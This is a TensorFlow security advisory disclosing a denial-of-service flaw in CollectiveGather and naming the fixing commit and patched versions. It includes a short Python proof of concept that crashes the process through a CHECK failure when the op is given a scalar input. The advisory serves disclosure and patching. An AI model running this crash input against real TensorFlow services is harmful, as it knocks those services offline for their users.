Description

TensorFlow vulnerable to CHECK fail in CollectiveGather

Impact

When CollectiveGather receives an scalar input input, it gives a CHECK fails that can be used to trigger a denial of service attack.

```python

import tensorflow as tf

arg_0=1

arg_1=1

arg_2=1

arg_3=1

arg_4=(3, 3,3)

arg_5='auto'

arg_6=0

arg_7=''

tf.raw_ops.CollectiveGather(input=arg_0, group_size=arg_1, group_key=arg_2,

instance_key=arg_3, shape=arg_4,

communication_hint=arg_5, timeout_seconds=arg_6, name=arg_7)

```

Patches

We have patched the issue in GitHub commit [c1f491817dec39a26be3c574e86a88c30f3c4770](https://github.com/tensorflow/tensorflow/commit/c1f491817dec39a26be3c574e86a88c30f3c4770).

The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
